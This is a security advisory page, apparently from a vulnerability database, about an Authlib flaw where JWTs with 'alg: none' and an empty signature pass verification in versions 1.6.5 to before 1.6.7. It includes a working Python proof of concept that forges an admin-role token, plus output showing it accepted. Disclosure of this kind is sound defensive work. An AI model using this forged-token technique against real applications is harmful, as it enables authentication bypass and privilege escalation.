High

Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification

  • Disclosed: 04.03.2026
  • Updated: 11.10.2026 15:17

Summary

After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.

Details

It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75

PoC

python
from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64


def create_jwks():
    private_key = rsa.generate_private_key(
        public_exponent=65537, key_size=2048, backend=default_backend()
    )
    public_pem = private_key.public_key().public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    jwk = JsonWebKey.import_key(public_pem).as_dict()
    jwk["kid"] = "test-key-001"
    jwk["use"] = "sig"
    jwk["alg"] = "RS256"
    jwks = {"keys": [jwk]}
    return jwks


def create_forged_token_with_alg_none():
    forged_header = {"alg": "none"}
    forged_payload = {
        "sub": "user123",
        "role": "admin",
        "iat": 1735603200,
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_header).encode("utf-8")
    ).rstrip(b"=")

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_payload).encode("utf-8")
    ).rstrip(b"=")

    forged_token = header_b64 + b"." + payload_b64 + b"."
    return forged_token


jwks = create_jwks()
forged_token = create_forged_token_with_alg_none()
try:
    claims = jwt.decode(forged_token, jwks)
    print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}")
except Exception as e:
    print(f"SECURE: Token rejected - {type(e).__name__}")

Output:

pip install -q authlib==1.5.2
python3 authlib_alg_none_vulnerability.py 
SECURE: Token rejected - BadSignatureError
pip install -q authlib==1.6.5
python3 authlib_alg_none_vulnerability.py 
VULNERABLE: Forged token (alg:none) accepted: role=admin

Impact

Users of the library are likely not aware that they now need to check the provided headers and disallow alg: none usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.

Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:

  • Authentication bypass
  • Privilege escalation
  • Unauthorized access
  • Modification of application data

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) authlib >= 1.6.5, < 1.6.7 1.6.7

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-347
Platform
Python (PyPI)
Package
authlib
Disclosed
04.03.2026
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2118 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-7wc2-qxgw-g8gg - CC BY 4.0

Vulnerability history: authlib

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (12) in the archive
Total entries
12
First → latest
06.2024 06.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 6
  • Medium 5

Disclosures per year

  1. 2024: 1
  2. 2025: 3
  3. 2026: 8
Severity:
  1. Critical · 9.1 CVE-2026-27962 < 1.6.9 1.6.9
  2. Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification this entry
    High CVE-2026-28802 >= 1.6.5, < 1.6.7 1.6.7

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.